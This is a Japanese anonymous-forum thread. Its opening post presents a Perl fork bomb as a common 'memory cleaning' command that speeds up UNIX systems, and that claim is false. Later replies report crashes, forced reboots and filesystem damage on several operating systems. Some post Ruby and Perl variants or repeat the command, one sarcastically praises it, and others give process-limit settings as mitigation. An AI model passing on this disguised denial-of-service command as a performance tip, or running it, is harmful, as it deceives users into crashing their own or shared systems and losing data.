- 1 名前:名無しさん@お腹いっぱい。 [03/06/19 01:31]
- UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、 $ perl -e 'while (1) { fork; }' とタイプするだけです。 これでディスクキャッシュになっていたメモリが解放されて、 若干処理が軽くなります。Webサーバ等では数%レスポンスが よくなります。GUIを使っている場合では体感的に早くなったと わかるでしょう。
- 599 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/05/09(月) 00:17:10 ]
- >>598
linux だとここの設定を変えてユーザが起動できるプロセス数を制限する。 /etc/security/limits.conf solarisや*BSDでも同様の設定がある。OpenBSDだとデフォルトで小さい 値で制限されている。 あと perl で fork 自体できなくするのはレンタルサーバだとよくある。
- 600 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/05/09(月) 00:27:22 ]
- >>599
thx。ちなみにどうやってperlでfork()出来なくするの?
- 601 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/05/09(月) 00:37:24 ]
- >>600
たぶんソールレベルで改造していると思われ。
- 602 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/05/09(月) 00:42:02 ]
- 問題は何故>>597が突然一人でマジレスをし始めたのか、だ。
- 603 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/05/09(月) 04:30:41 ]
- 別にいいんじゃね?
- 604 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/05/19(木) 14:00:04 ]
- クリーニングコマンドを実行した所、フリーズしてしまいました。
会社のサーバーであったのでシステムがダウンする事となり、 また待っていてもシャットダウン出来ないので電源を切る事と なった結果、大切な知的財産のソースが一部破損しました。 この損失額は5億円規模となる見通しとなり、このスレ及び 運用者に対して損害賠償を請求する事となり先ほど申し立て をしてまいりました。
- 605 名前: ◆kohqbrFjNA mailto:sage [2005/06/02(木) 22:14:15 ]
- a
- 606 名前: ◆rJcIzr5UOE mailto:sage [2005/06/02(木) 22:16:00 ]
- g
- 607 名前:名無しさん@お腹いっぱい。 [2005/06/25(土) 11:49:18 ]
- e
- 608 名前:名無しさん@お腹いっぱい。 [2005/06/25(土) 14:25:20 ]
- p4 2.8GHz メモリ1G FreeBSD 5.4
最大プロセス数無制限のユーザーで>>1を実行 開始約5秒で勝手に再起動しますた。
- 609 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/07/10(日) 14:33:39 ]
- colinux debian sid
プロセス無制限の一般ユーザで実行。 1回目の実行は、5分くらいで無事終了。 ところが、2回目の実行は30分経っても、終了せず。
- 610 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/07/17(日) 01:00:47 ]
- ,,,,,,,,,,,,,,,,,,,,
/": : : : : : : : \ /-─-,,,_: : : : : : : : :\ / '''-,,,: : : : : : : :i /、 /: : : : : : : : i ________ r-、 ,,,,,,,,,,、 /: : : : : : : : : :i / L_, , 、 \: : : : : : : : :i / /●) (●> |: :__,=-、: / < 軽くヤバイ l イ '- |:/ tbノノ \ l ,`-=-'\ `l ι';/ \ ヽトェ-ェェ-:) -r'  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ヾ=-' / / ____ヽ::::... / ::::| / ̄ ::::::::::::::l `──'''' :::|
- 611 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/07/24(日) 12:47:05 ]
- 各種Unixで、このコマンドを無効化する方法をおしえろや。
- 612 名前:☆これでも東横線の女性専用車両を容認するのか☆ mailto:age [2005/11/12(土) 16:15:49 ]
- ★これでも東横線の女性専用車両を容認するのか★
hobby7.2ch.net/test/read.cgi/rail/1131076308/
- 613 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/11/15(火) 19:52:46 ]
- Celeron2.4G, Mem1G, CentOS 4.1, 最大プロセス数無制限, ノータリン
>>30 まで読んで sync を 10 回し一般ユーザで >>1 を実行 システムモニタのメモリゲージが詰まった洋式便所の水位の如くぎゅいいいいんと上がって応答しなくなりました。 sysrq 使ってリブートし /tmp がやられたのを確認しますた。 つい真似したり、インスコしたりしてしまう、悪い癖。。
- 614 名前:名無しさん@お腹いっぱい。 [2005/11/19(土) 01:34:51 ]
- 駄目なOSかどうかの判別法?
- 615 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/11/19(土) 02:02:07 ]
- >>614 YES
- 616 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/11/19(土) 02:06:38 ]
- solarisもデフォルトのままだとダメだね。
- 617 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/12/07(水) 20:01:17 ]
- ちょっと待った!ちょ、ちょっと待った!
OpenBSDは駄目OS確定ですか?
- 618 名前:名無しさん@お腹いっぱい。 mailto:sage [2005/12/27(火) 10:11:01 ]
- >>617
負荷かけてない状態で既に重いじゃん
- 619 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/02/26(日) 17:01:53 ]
- >>1のやつってやっぱりLinuxでやると死んじゃうんだけどなんで?
- 620 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/07/01(土) 01:51:59 ]
- Windows2000とcygwinでやってみた(特権ユーザで)
落ちはしなかったものの、 いろいろやってperlを殺した後の動作がおかしい カーネルが一部侵食されたか?w
- 621 名前:名無しさん@お腹いっぱい。 [2006/07/23(日) 02:47:40 BE:31671959-#]
- # perl -e 'while(1){ fork() && exit }
- 622 名前:名無しさん@お腹いっぱい。 [2006/08/01(火) 18:19:51 ]
- OpenBSD 3.9でrootでやった
別に落ちたりとかしないけど一旦logoutしたら二度とlogin出来なかった
- 623 名前:名無しさん@お腹いっぱい。 [2006/08/05(土) 14:53:50 ]
- その後は?!
つーかそれ落ちたって言わないの?
- 624 名前:名無しさん@お腹いっぱい。 [2006/08/22(火) 18:39:45 ]
- 記念アゲ
- 625 名前: ◆f8EDXL3E5k [2006/08/22(火) 19:27:20 ]
- 今度店頭にあるマックでやってみようかな
- 626 名前:名無しさん@お腹いっぱい。 [2006/08/23(水) 16:58:31 ]
- debian志望しました
- 627 名前:名無しさん@お腹いっぱい。 [2006/08/24(木) 12:48:45 ]
- スペック書いてお〜
- 628 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/08/24(木) 14:19:18 ]
- リソースは有限、プロセスは無限ではどんなにスペックが高くても駄目だろうに。
フロセスの制限の設定をリソースに合わせるべし。 結局はこれだけの話でしかない。
- 629 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/08/31(木) 21:34:10 ]
- Solaris10死亡しますた
1050Mhz*2 メモリー4Gで二秒くらいでJDS固まった。stop+A久々に使ったぉ
- 630 名前:名無しさん@お腹いっぱい。 [2006/10/01(日) 03:27:35 ]
- ruby だとこんな感じ?
(1..10).each{ fork }
- 631 名前:名無しさん@お腹いっぱい。 [2006/10/20(金) 16:56:30 ]
- age
- 632 名前:名無しさん@お腹いっぱい。 [2006/11/11(土) 18:00:17 ]
- >>628
どうやってプロセス制限するの?
- 633 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/11/11(土) 18:17:03 ]
- /etc/system
- 634 名前:名無しさん@お腹いっぱい。 mailto:sage [2006/11/12(日) 01:39:56 ]
- ubuntu was die!!
いろんなの開いてた。 わからないけど"fork"が死ぬ程怪しい響を持ってた。 案の定画面が完全に固まって何も受け付けなくなった。 びっくりした。
- 635 名前:名無しさん@お腹いっぱい。 [2006/12/10(日) 21:28:06 ]
- Debian sarge(Kernel:2.4.27-3-686)
CPU:celeron 400MHz メモリ:256MHz 動かなくなりました。 Debianってプロセス数に制限がかかってないのな。 さっそくリミットかけました。
- 636 名前:名無しさん@お腹いっぱい。 [2007/04/05(木) 17:15:42 ]
- age
- 637 名前:名無しさん@お腹いっぱい。 [2007/04/05(木) 22:52:45 ]
- CoreDuo T2500, DDR2 2GB
FreeBSD 6.2-STABLE kern.maxproc: 6164 でデフォルトから変更なし、 X起動中(Xfce, AIGLX, berylなデスクトップ)の環境で>>1をターミナル から実行。 直後、マウスの動作が遅くなりSystem Load MonitorのCPUゲージも 100%になるが、しばらくしてゲージが下がりマウスの操作も軽くなる。 別のターミナルからコマンドを打っても zsh: fork failed: resource temporarily unavailable と表示され実行できないが、>>1をCtrl+Cで終了させることはできた。 プロセス数ももとに戻る。 その後の動作も全く問題なし。2回>>1をやったが落ちる気配無し。 今もそのままの状態でJDからカキコしている。
- 638 名前:名無しさん@お腹いっぱい。 [2007/04/09(月) 01:38:08 ]
- age
- 639 名前:名無しさん@お腹いっぱい。 [2007/04/09(月) 02:48:44 ]
- FreeBSD6.2stable強す?
ハードがいいだけ?
- 640 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/04/09(月) 17:41:53 ]
- >>637
つまり、メモリクリーニング失敗というわけですね
- 641 名前:637 mailto:sage [2007/04/09(月) 21:45:33 ]
- >>640
あの後色々やってみたが動作が重くなり焦りはするものの どうやっても落ちない。単に俺が精神的にリミッターかけている だかかもしれんが・・・リモートからはやる勇気がない。 今の環境、現状の使い方ではメモリクリーニングしないといけない 状況にはならんがな(´・ω・`) ということで>>1の目論見は失敗に終わる。
- 642 名前:名無しさん@お腹いっぱい。 [2007/04/21(土) 01:48:03 ]
- $ ruby -e '(1..10).each{ fork }'
- 643 名前:名無しさん@お腹いっぱい。 [2007/12/18(火) 22:06:51 ]
- 保守
- 644 名前:名無しさん@お腹いっぱい。 [2008/02/04(月) 02:28:49 ]
- $ perl -e 'while (1) { fork; }'
- 645 名前:名無しさん@お腹いっぱい。 [2008/02/04(月) 13:07:34 ]
- >>1
forkしてどうすんじゃぼけええ!!
- 646 名前:名無しさん@お腹いっぱい。 [2008/02/05(火) 22:25:05 ]
- Optelonでガリガリまわしても普通に終わってしまうなw
昔Pen3とかセロリでァゥァゥァー(´Д`;) してたころとは違うね カーネルもハードも進化がおもすれー
- 647 名前:名無しさん@お腹いっぱい。 [2008/04/10(木) 22:38:18 ]
- age
- 648 名前:名無しさん@お腹いっぱい。 mailto:sage [2008/04/21(月) 22:55:56 ]
- solarisでも落ちてるのか。デフォルトじゃ危険じゃのう
- 649 名前:名無しさん@お腹いっぱい。 [2008/10/17(金) 07:44:46 ]
- age
- 650 名前:名無しさん@お腹いっぱい。 [2008/10/17(金) 12:48:54 ]
- なかなか速くてイケるね。>>1はすごいことを教えてくれた。
- 651 名前:名無しさん@お腹いっぱい。 [2008/12/13(土) 16:15:47 ]
- age
- 652 名前:名無しさん@お腹いっぱい。 [2009/03/15(日) 20:42:10 ]
- age
- 653 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/03/16(月) 02:45:52 ]
- dubai.2ch.net/test/read.cgi/emperor/1228909654/220
|

|